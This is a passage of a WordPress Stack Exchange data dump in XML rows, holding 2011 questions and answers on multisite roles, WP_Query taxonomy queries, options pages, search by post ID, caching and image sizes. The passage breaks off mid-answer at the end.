  <row Id="26575" PostTypeId="2" ParentId="25442" CreationDate="2011-08-22T15:04:53.473" Score="2" ViewCount="" Body="&lt;p&gt;I've found a way around the problem. It's not a &quot;fix&quot;, but rather a way to get around the problem of needing synchronized user roles. Instead of trying to make all user roles match up, I decided to only check the user roles for the main site. see my function below for how I did it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;* Function to check a specified user from a subsite against&#xA;* the role of that same user on the main site&#xA;*&#xA;* @param int $site_to_check the id of the site to check the user's role from&#xA;* @param int $user_id the user's id to check&#xA;*/&#xA;function cgc_check_for_citizen($site_to_check = 1, $user_id = null) {&#xA;    if(!isset($user_id)) {&#xA;        return false;&#xA;    }&#xA;    $citizen = false;&#xA;&#xA;    global $blog_id;&#xA;&#xA;    if($blog_id == 1) { // we're on the main site&#xA;        if(user_can($user_id, 'read_citizen')) {&#xA;            $citizen = true;&#xA;        }&#xA;    } else {&#xA;        switch_to_blog($site_to_check);&#xA;            if(user_can($user_id, 'read_citizen')) {&#xA;                $citizen = true;&#xA;            }&#xA;        restore_current_blog();&#xA;    }&#xA;    return $citizen;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-08-22T15:04:53.473" />
  <row Id="26576" PostTypeId="2" ParentId="26568" CreationDate="2011-08-22T15:09:09.367" Score="0" ViewCount="" Body="&lt;p&gt;Well first of all you are using it wrong.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$query = new WP_Query(array(&#xA;     'post_type' =&amp;gt; 'post,'&#xA;     'post_status' =&amp;gt; 'publish',&#xA;     'tax_query' =&amp;gt; array(&#xA;        'taxonomy' =&amp;gt; 'genre',&#xA;        'field' =&amp;gt; 'slug',&#xA;        'terms' =&amp;gt; array( 'comedy', '' ),&#xA;    )&#xA;));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The array needs to be supplied to the WP_Query object. Also, I am pretty sure atleast one post type needs to be specified for it to work.&lt;/p&gt;&#xA;" OwnerUserId="7435" LastActivityDate="2011-08-22T15:09:09.367" CommentCount="2" />
  <row Id="26577" PostTypeId="2" ParentId="26568" CreationDate="2011-08-22T15:13:58.627" Score="1" ViewCount="" Body="&lt;p&gt;I'm not sure what the rest of your code looks like, but you are mixing up your &lt;code&gt;$query&lt;/code&gt; variable and you are not sending your &lt;code&gt;$query&lt;/code&gt; to the new instance of &lt;code&gt;WP_Query&lt;/code&gt;. Also, there is no need to send an array to the &quot;terms&quot; parameter if you are only using one term. Try this.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;// Set the args&#xA;$args = array(&#xA;    'tax_query' =&amp;gt; array(&#xA;        'relation' =&amp;gt; 'AND',&#xA;        array (&#xA;            'taxonomy' =&amp;gt; 'location',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; 'california',&#xA;        ),&#xA;        array(&#xA;            'taxonomy' =&amp;gt; 'genre',&#xA;            'field' =&amp;gt; 'slug',&#xA;            'terms' =&amp;gt; 'comedy',&#xA;        )&#xA;    )&#xA;);&#xA;&#xA;// Make a new instance of WP_Query&#xA;$query = new WP_Query();&#xA;&#xA;// Make the query&#xA;$query-&amp;gt;query($args);&#xA;&#xA;// Test for posts&#xA;if($query-&amp;gt;have_posts())&#xA;{&#xA;    // Loop through posts&#xA;    while($query-&amp;gt;have_posts())&#xA;    {&#xA;        // Set up the post&#xA;        $query-&amp;gt;the_post();&#xA;        global $post;&#xA;    }&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4850" LastEditorUserId="4850" LastEditorDisplayName="" LastEditDate="2011-08-22T21:43:05.990" LastActivityDate="2011-08-22T21:43:05.990" CommentCount="6" />
  <row Id="26578" PostTypeId="1" AcceptedAnswerId="26586" CreationDate="2011-08-22T15:15:45.897" Score="1" ViewCount="20" Body="&lt;p&gt;I have a multiple-site WordPress install. I have decided to centralize as many of my libraries as possible into one spot, for obvious organizational reasons, and in order to reduce bloating. Many of those libraries can be used both in plugins and themes. My first idea is to create a '&lt;Strong&gt;&lt;i&gt;myLibs&lt;/i&gt;&lt;/strong&gt;' (or other name) directory inside &lt;strong&gt;&lt;i&gt;wp-content&lt;/i&gt;&lt;/strong&gt; where I would save all those libraries. Anybody has a better idea? Would there be any reasons NOT to do this?&lt;/p&gt;&#xA;" OwnerUserId="1572" LastActivityDate="2011-08-22T15:44:54.377" Title="Where to save common libraries?" Tags="&lt;code&gt;&lt;directories&gt;&lt;library&gt;" AnswerCount="1" />
  <row Id="26579" PostTypeId="2" ParentId="26560" CreationDate="2011-08-22T15:17:03.660" Score="0" ViewCount="" Body="&lt;p&gt;I'm a little confused by your post as I think it could be asking a few different things. If you are asking how to order your categories by a custom order, please check out &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-taxonomy-sort/&quot; rel=&quot;nofollow&quot;&gt;Custom Taxonomy Sort&lt;/a&gt;, a plugin that does just that. You can specify an order for each taxonomy term.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-22T15:17:03.660" CommentCount="2" />
  <row Id="26580" PostTypeId="2" ParentId="26561" CreationDate="2011-08-22T15:18:59.640" Score="2" ViewCount="" Body="&lt;p&gt;It should do this by default if there are tags to suggest, but I think there's a little bit of a delay before the suggestions show. You can also choose from your most used tags, which some might find easier to use.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-22T15:18:59.640" CommentCount="6" />
  <row Id="26581" PostTypeId="2" ParentId="26551" CreationDate="2011-08-22T15:25:19.217" Score="0" ViewCount="" Body="&lt;p&gt;You will want to use &lt;code&gt;get_terms&lt;/code&gt;. The following code show you how to access the terms. Please see the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_terms&quot; rel=&quot;nofollow&quot;&gt;Codex page for get_terms&lt;/a&gt; for more information about the args that you can send to the function. I also show all of the data that is returned in the array of objects.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set your args&#xA;$args = array(&#xA;    'hide_empty' =&amp;gt; 0   // Show terms that are not associated with any posts&#xA;);&#xA;&#xA;// Get the terms&#xA;$projects = get_terms('projects', $args);&#xA;&#xA;// Loop through and use terms&#xA;foreach($projects as $project)&#xA;{&#xA;    echo 'Term ID ' . $project-&amp;gt;term_id;&#xA;    echo 'Name: ' . $project-&amp;gt;name;&#xA;    echo 'Slug: ' . $project-&amp;gt;slug;&#xA;    echo 'Term Group ' . $project-&amp;gt;term_group;&#xA;    echo 'Term Taxonomy ID: ' . $project-&amp;gt;term_taxonomy_id;&#xA;    echo 'Taxonomy: ' . $project-&amp;gt;taxonomy;&#xA;    echo 'Description ' . $project-&amp;gt;description;&#xA;    echo 'Parent: ' . $project-&amp;gt;parent;&#xA;    echo 'Count: ' . $project-&amp;gt;count;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-22T15:25:19.217" CommentCount="2" />
  <row Id="26582" PostTypeId="2" ParentId="26554" CreationDate="2011-08-22T15:26:48.727" Score="1" ViewCount="" Body="&lt;p&gt;This isn't really content negotiation at all, since there is an actual matching directory. Your server will not reach WordPress to process the URI if it encounters a directory first. You will need to either rename your directory or change the permalink for the page in order to have both working.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastActivityDate="2011-08-22T15:26:48.727" CommentCount="5" />
  <row Id="26584" PostTypeId="2" ParentId="23529" CreationDate="2011-08-22T15:29:41.563" Score="0" ViewCount="" Body="&lt;p&gt;Try the Web Ninja Comment Count Fixer plugin&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/web-ninja-comment-count-fixer/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/web-ninja-comment-count-fixer/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="8107" LastActivityDate="2011-08-22T15:29:41.563" />
  <row Id="26585" PostTypeId="1" CreationDate="2011-08-22T15:30:17.227" Score="0" ViewCount="31" Body="&lt;p&gt;I have several different posts type, each with a media upload. What I want to do is to rename the &quot;insert into post&quot; button so it correlates to the individual custom-posts. For example - custom post type - &quot;award&quot; and then the media upload box would have the following button, &quot;insert into award&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="7244" LastActivityDate="2011-08-23T12:28:35.647" Title="Rename the insert button in media upload window" Tags="&lt;custom-post-types&gt;&lt;media-upload&gt;" AnswerCount="1" />
  <row Id="26586" PostTypeId="2" ParentId="26578" CreationDate="2011-08-22T15:44:54.377" Score="1" ViewCount="" Body="&lt;p&gt;I would recommend creating a plugin that holds all of your libraries. In the main plugin file, set a constant that defines the path to the plugin folder so you can easily include the files with your other plugins/themes. &lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-22T15:44:54.377" CommentCount="1" />
  <row Id="26587" PostTypeId="1" CreationDate="2011-08-22T15:51:32.077" Score="1" ViewCount="33" Body="&lt;p&gt;I've been playing with Modernizr in WordPress lately and here's something that i'm trying to achive.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm adding an HTML5 input field in a custom options page, specifically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;number&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now with Modernizr i can test if the browser supports it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Modernizr.load([&#xA;{&#xA;test: Modernizr.inputtypes.number, // this is the test&#xA;nope: [ load js,css etc ] // if it's not supported load your custom lib&#xA;complete: function() {&#xA;  // do something &#xA;}]);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would it be possible instead of manually loading my custom libraries in the &quot;nope&quot; method, to invoke the wp_register_script()/wp_enqueue_script functions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean i could just register/en-queue my custom libraries but i'd like to do that only if it's necessary (if the browser doesn't have native support for this kind of input type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas? &lt;/p&gt;&#xA;" OwnerUserId="2670" LastActivityDate="2011-08-23T16:44:45.737" Title="Modernizr check first, then move on to wp_register_script()/wp_enqueue_script" Tags="&lt;wp-enqueue-script&gt;&lt;wp-register-script&gt;" AnswerCount="2" />
  <row Id="26589" PostTypeId="1" CreationDate="2011-08-22T16:06:20.367" Score="1" ViewCount="27" Body="&lt;p&gt;I'd like to be able to enter a post ID into the search box in order for the exact post to be returned in the search results. I'd also like to retain the ability to search the posts/page titles and content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;eg, user enters '#123' in the search box, and the search results return just post 123. However, if I were to enter '123' into the search box, it would return any post/page that contains '123' in the content or title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/9276/search-posts-by-id-in-admin&quot;&gt;This article&lt;/a&gt; explains how to achieve what i'm after within the Admin - I just need the equivalent for the front-end! &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is greatly appreciated, thank you.&lt;/p&gt;&#xA;" OwnerUserId="4288" LastActivityDate="2011-08-22T18:45:40.987" Title="Search Using Post ID" Tags="&lt;search&gt;" AnswerCount="1" />
  <row Id="26590" PostTypeId="1" AcceptedAnswerId="26594" CreationDate="2011-08-22T16:16:40.040" Score="2" ViewCount="68" Body="&lt;p&gt;I'm about to create my own options pages for my WordPress theme and I'm a bit confused.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen a lot of themes that used arrays to generate options pages, it looked like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$options = array (&#xA;&#xA;     array(    &quot;name&quot; =&amp;gt; &quot;Welcome Message&quot;,&#xA;               &quot;type&quot; =&amp;gt; &quot;title&quot;),&#xA;&#xA;     array(    &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;&#xA;     array(    &quot;name&quot; =&amp;gt; &quot;Title&quot;,&#xA;               &quot;desc&quot; =&amp;gt; &quot;Enter a title to display for your welcome message.&quot;,&#xA;               &quot;id&quot; =&amp;gt; $shortname.&quot;_welcome_title&quot;,&#xA;               &quot;std&quot; =&amp;gt; &quot;&quot;,&#xA;               &quot;type&quot; =&amp;gt; &quot;text&quot;),&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Plus a few other functions that generated front-end, tables, forms etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other hand, there are &quot;static&quot; options pages from Codex ( &lt;a href=&quot;http://codex.wordpress.org/Creating_Options_Pages&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Creating_Options_Pages&lt;/a&gt; ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;They look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form method=&quot;post&quot; action=&quot;options.php&quot;&amp;gt;&#xA;    &amp;lt;?php settings_fields( 'baw-settings-group' ); ?&amp;gt;&#xA;    &amp;lt;?php do_settings( 'baw-settings-group' ); ?&amp;gt;&#xA;    &amp;lt;table class=&quot;form-table&quot;&amp;gt;&#xA;        &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;        &amp;lt;th scope=&quot;row&quot;&amp;gt;New Option Name&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;new_option_name&quot; value=&quot;&amp;lt;?php echo get_option('new_option_name'); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&#xA;        &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;        &amp;lt;th scope=&quot;row&quot;&amp;gt;Some Other Option&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;some_other_option&quot; value=&quot;&amp;lt;?php echo get_option('some_other_option'); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;&#xA;        &amp;lt;tr valign=&quot;top&quot;&amp;gt;&#xA;        &amp;lt;th scope=&quot;row&quot;&amp;gt;Options, Etc.&amp;lt;/th&amp;gt;&#xA;        &amp;lt;td&amp;gt;&amp;lt;input type=&quot;text&quot; name=&quot;option_etc&quot; value=&quot;&amp;lt;?php echo get_option('option_etc'); ?&amp;gt;&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;        &amp;lt;/tr&amp;gt;&#xA;    &amp;lt;/table&amp;gt;&#xA;&#xA;    &amp;lt;p class=&quot;submit&quot;&amp;gt;&#xA;    &amp;lt;input type=&quot;submit&quot; class=&quot;button-primary&quot; value=&quot;&amp;lt;?php _e('Save Changes') ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What are pros &amp;amp; cons of these approaches and which one should I use/is preffered?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-08-22T20:22:27.657" Title="Two Ways Of Creating Wordpress Options Pages" Tags="&lt;theme-options&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="26592" PostTypeId="1" CreationDate="2011-06-20T02:52:40.807" Score="0" ViewCount="13" Body="&lt;p&gt;I have a website with several directories and html files on my desktop and i want to insert the data into the mysql database of a wordpress theme; how can i do this? what tools can i use for this? is it possible to do? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want something like a GUI tool that can grab the content from the website directory on my desktop and visually create a sql file that i need to insert into wordpress.&lt;/p&gt;&#xA;" LastActivityDate="2011-08-22T16:43:46.160" Title="website on desktop to wordpress mysql database" Tags="&lt;mysql&gt;&lt;database&gt;" />
  <row Id="26593" PostTypeId="2" ParentId="26571" CreationDate="2011-08-22T17:06:53.573" Score="0" ViewCount="" Body="&lt;p&gt;A simple way to arrange your comments by most recent is to add this to your functions.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!function_exists('custom_reverse_comments')) {&#xA;    function custom_reverse_comments($comments) {&#xA;        return array_reverse($comments);&#xA;    }   &#xA;}&#xA;add_filter ('comments_array', 'custom_reverse_comments');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-08-22T17:06:53.573" CommentCount="1" />
  <row Id="26594" PostTypeId="2" ParentId="26590" CreationDate="2011-08-22T17:13:58.400" Score="2" ViewCount="" Body="&lt;p&gt;I would strongly recommend following the &lt;a href=&quot;http://codex.wordpress.org/Theme_Review#Theme_Settings_and_Data_Security&quot; rel=&quot;nofollow&quot;&gt;Theme Review guidelines for Theme Settings and Data Security&lt;/a&gt;. (If you intend for your Theme to be hosted in the WPORG repository, you will be &lt;strong&gt;required&lt;/strong&gt; to follow these guidelines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a brief summary:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Themes are required to prefix all options, custom functions, custom variables, and custom constants with theme-slug (or appropriate variant).&lt;/li&gt;&#xA;&lt;li&gt;Theme are required to implement Theme Options and Theme Settings pages deliberately, rather than relying on copy-and-paste scripts from website tutorials.&lt;/li&gt;&#xA;&lt;li&gt;Themes are required to use the add_theme_page() function to add the Theme Settings Page to the Appearance menu, rather than using add_menu_page() to add a top-level menu.&lt;/li&gt;&#xA;&lt;li&gt;Themes are required to use the edit_theme_options capability for add_theme_page(), rather than rely on a role (e.g. &quot;administrator&quot;), or a different capability (e.g. &quot;edit_themes&quot;, &quot;manage_options&quot;) for the capability to add the settings page.&lt;/li&gt;&#xA;&lt;li&gt;Themes are required to save options in a single array, rather than create multiple options for its settings page. Use of set_theme_mod and get_theme_mod handles this for you, as does using the Settings API.&lt;/li&gt;&#xA;&lt;li&gt;For checkboxes and select options, Themes are required to use the checked() and selected() functions for outputting checked=&quot;checked&quot; and selected=&quot;selected&quot;, respectively.&lt;/li&gt;&#xA;&lt;li&gt;Themes are required to validate and sanitize all untrusted data before entering data into the database, and to escape all untrusted data before being output in the Settings form fields or in the Theme template files (see: Data Validation)&lt;/li&gt;&#xA;&lt;li&gt;Themes are required to use esc_attr() for text inputs and esc_html() (or esc_textarea() in WP 3.1) for textareas.&lt;/li&gt;&#xA;&lt;li&gt;Themes are required to provide explicit Settings-page nonce checking, if not using the Settings API (see: WordPress Nonces)&lt;/li&gt;&#xA;&lt;li&gt;Themes are recommended to use the Settings API to get and save form input data rather than rely on $_POST and $_REQUEST data directly.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;References&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.chipbennett.net/2011/02/17/incorporating-the-settings-api-in-wordpress-themes/&quot; rel=&quot;nofollow&quot;&gt;Incorporating the Settings API in WordPress Themes&lt;/a&gt; (yours truly)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://ottopress.com/2009/wordpress-settings-api-tutorial/&quot; rel=&quot;nofollow&quot;&gt;WordPress Settings API Tutorial&lt;/a&gt; (Otto)&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://themeshaper.com/2010/06/03/sample-theme-options/&quot; rel=&quot;nofollow&quot;&gt;A Sample WordPress Theme Options Page&lt;/a&gt; (Ian Stewart)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;EDIT&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;So, to clarify: you don't have to choose &lt;em&gt;either/or&lt;/em&gt; here. The Settings API can handle both approaches simultaneously - and in fact, does so quite elegantly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;add_settings_field()&lt;/code&gt; call can be generated dynamically, and can use a single callback, with a switch to output field-type-specific form field markup. &lt;a href=&quot;https://github.com/chipbennett/oenology/blob/3fc86b30e5a9da1df01bfe349860819903499bd9/functions/options-register.php&quot; rel=&quot;nofollow&quot;&gt;Here's how I implement it&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-08-22T20:22:27.657" LastActivityDate="2011-08-22T20:22:27.657" CommentCount="1" />
  <row Id="26595" PostTypeId="1" CreationDate="2011-08-22T17:14:15.200" Score="0" ViewCount="17" Body="&lt;p&gt;Hullo,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm needing to have custom URLs for authors so for example mysite.com/team/johndoe would be the eventual URL. This should list that particular user, but I was hoping to use the author.php template to do so.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The following gives further details, but it doesn't really clarify whether this is possible as it's not designed to: &lt;a href=&quot;http://codex.wordpress.org/Author_Templates&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Author_Templates&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any fancy way of doing URL rewriting for this case?&lt;/p&gt;&#xA;" OwnerUserId="3185" LastActivityDate="2011-08-22T18:34:42.760" Title="Listing Authors - URL Formats" Tags="&lt;url-rewriting&gt;&lt;author&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="26596" PostTypeId="2" ParentId="26595" CreationDate="2011-08-22T18:34:42.760" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at this plugin: &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-htaccess-control/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-htaccess-control/&lt;/a&gt;. It has support for rewriting author urls. Should be a quick and easy fix.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-22T18:34:42.760" />
  <row Id="26597" PostTypeId="2" ParentId="26589" CreationDate="2011-08-22T18:45:40.987" Score="1" ViewCount="" Body="&lt;p&gt;I previously asked and answered my own question about customizing a search. You can find that answer here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/25899/the-right-way-to-create-a-custom-search-page-for-complex-custom-post-types/26530#26530&quot;&gt;The right way to create a custom search page for complex custom post types&lt;/a&gt;. It'll be a good read to help you understand the following code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll use the &lt;code&gt;pre_get_posts&lt;/code&gt; action to change your search when you are searching for a positive integer. Note that the code I'm providing will not allow you to search for positive integers within your article.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_search_pre_get_posts($query)&#xA;{&#xA;    // Verify that we are on the search page that that this came from the event search form&#xA;    if($query-&amp;gt;query_vars['s'] != '' &amp;amp;&amp;amp; is_search())&#xA;    {&#xA;        // If &quot;s&quot; is a positive integer, assume post id search and change the search variables&#xA;        if(absint($query-&amp;gt;query_vars['s']))&#xA;        {&#xA;            // Set the post id value&#xA;            $query-&amp;gt;set('p', $query-&amp;gt;query_vars['s']);&#xA;&#xA;            // Reset the search value&#xA;            $query-&amp;gt;set('s', '');&#xA;        }&#xA;    }&#xA;}&#xA;&#xA;// Filter the search page&#xA;add_filter('pre_get_posts', 'my_search_pre_get_posts');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you want to be able to search for ID and a search string, I would recommend including multiple inputs. You can also use other logic within the function provided to make assumptions about what the user is looking for and alter the query variables accordingly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this code is untested.&lt;/p&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-22T18:45:40.987" CommentCount="2" />
  <row Id="26598" PostTypeId="1" AcceptedAnswerId="26654" CreationDate="2011-08-22T18:54:12.213" Score="1" ViewCount="69" Body="&lt;p&gt;I notice that many Wordpress tips websites recommend using wp totalchache and similar plugins. I tried it on one site that gets a relatively small amount of traffic, and hardly notice a difference in load time. Is it smart to set up as a general rule, or does it it really depend on the site traffic? Same question for Content delivery Network. &lt;/p&gt;&#xA;" OwnerUserId="7318" LastActivityDate="2011-08-23T12:18:58.773" Title="Does a low traffic Wordpress site need a caching plugin and a CDN" Tags="&lt;cache&gt;" AnswerCount="5" />
  <row Id="26599" PostTypeId="1" AcceptedAnswerId="26601" CreationDate="2011-08-22T19:09:21.827" Score="0" ViewCount="19" Body="&lt;p&gt;By default WordPress prints http:// in front of URLS users add in their profile, which are called using the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php the_author_meta('user_url'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could somebody provide me the code to strip these URLS of &quot;HTTP://&quot; by default?  (While still working as a link and not touching WP's backend... I assume this could be a function?)&lt;/p&gt;&#xA;" OwnerUserId="5205" LastActivityDate="2011-08-22T19:19:05.307" Title="Removing &quot;HTTP://&quot; From the_author_meta?" Tags="&lt;author&gt;&lt;usermeta&gt;" AnswerCount="1" />
  <row Id="26600" PostTypeId="2" ParentId="26598" CreationDate="2011-08-22T19:09:56.817" Score="0" ViewCount="" Body="&lt;p&gt;I say set it up.  You never know if the site gets blasted with traffic and it should help with load time despite traffic.&lt;/p&gt;&#xA;" OwnerUserId="5205" LastActivityDate="2011-08-22T19:09:56.817" CommentCount="1" />
  <row Id="26601" PostTypeId="2" ParentId="26599" CreationDate="2011-08-22T19:19:05.307" Score="0" ViewCount="" Body="&lt;p&gt;Assuming that the author's id is &lt;code&gt;$author_id&lt;/code&gt;, the following code should work. You can of course use this to create your own function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $url = get_the_author_meta('user_url', $author_id); ?&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo $url; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo str_replace('http://', '', $url);?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4850" LastActivityDate="2011-08-22T19:19:05.307" CommentCount="1" />
  <row Id="26602" PostTypeId="1" CreationDate="2011-08-22T19:37:07.773" Score="0" ViewCount="13" Body="&lt;p&gt;I am looking for a way to automatically append a fixed text string to an image caption when uploading using the media uploader...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;a bit of help with a function would be appreciated!&lt;/p&gt;&#xA;" OwnerUserId="8113" LastActivityDate="2011-08-22T19:37:07.773" Title="append text string to image caption?" Tags="&lt;images&gt;&lt;media-upload&gt;&lt;captions&gt;" />
  <row Id="26603" PostTypeId="2" ParentId="26598" CreationDate="2011-08-22T19:37:51.330" Score="1" ViewCount="" Body="&lt;p&gt;CDN's usually cost money, but cache plugins are free. WP Super Cache is about the easiest to use, and with 2.4 million downloads, it's the most popular. Read the extensive FAQ for details. &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-super-cache/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-super-cache/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;http://codex.wordpress.org/WordPress_Optimization&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/WordPress_Optimization&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-08-22T19:37:51.330" />
  <row Id="26605" PostTypeId="1" CreationDate="2011-08-22T19:53:43.083" Score="0" ViewCount="12" Body="&lt;p&gt;I would like to style the attachment page for each gallery differently, but i'm not sure how (sorry for the noob question, i'm still new to wp development!). I was hoping i could use Attachment.php for one and Image.php for the other, but Image.php overrides both because both are simply Galleries of images. I suppose i might have to add some sort of Else IF type statement to attachment.php, which would sub-divide the galleries...but in that case i'm not sure how i can have the .php distinguish between each one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;any and all help here would be much appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks,&#xA;eric&lt;/p&gt;&#xA;" OwnerUserId="8115" LastActivityDate="2011-08-22T20:05:41.113" Title="Can i have 2 separate Galleries on 2 separate pages each go to a DIFFERENT Attachment.php file?" Tags="&lt;images&gt;&lt;attachments&gt;&lt;gallery&gt;&lt;styles&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="26606" PostTypeId="2" ParentId="21544" CreationDate="2011-08-22T19:53:54.440" Score="5" ViewCount="" Body="&lt;p&gt;No, it won't create a new image that is exactly the same size.. nor should it. All the thumbnail, medium, and large images are resized images, by definition. Since the original image is already 600x600, there's no point in creating another file at the same size, but with a lower quality (remember that JPEG compression is lossy). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, if you specify in the template call that you want to use the large image size with something like &lt;code&gt;&amp;lt;?php echo get_the_post_thumbnail( $post-&amp;gt;ID, 'large' ); ?&amp;gt;&lt;/code&gt;, and there is no &quot;large&quot; size available for that image, then it will actually use the full sized image, not the medium sized one. It always chooses &quot;up&quot;, basically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See, whenever you specify an image size like large or medium or even array(400,400), then what WordPress does is to pick the next larger size image that it can find and then it uses that, along with width/height rules in the IMG tag to make the browser resize it down. It does this because images look like crap when sized up, but reasonably okay when sized down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, even without the large image size being created, specifying the &quot;large&quot; size as a size in the template is okay and will work correctly. I've just tested this on a test site, using this exact code and sizing, and it works properly. Specifying the large size made it 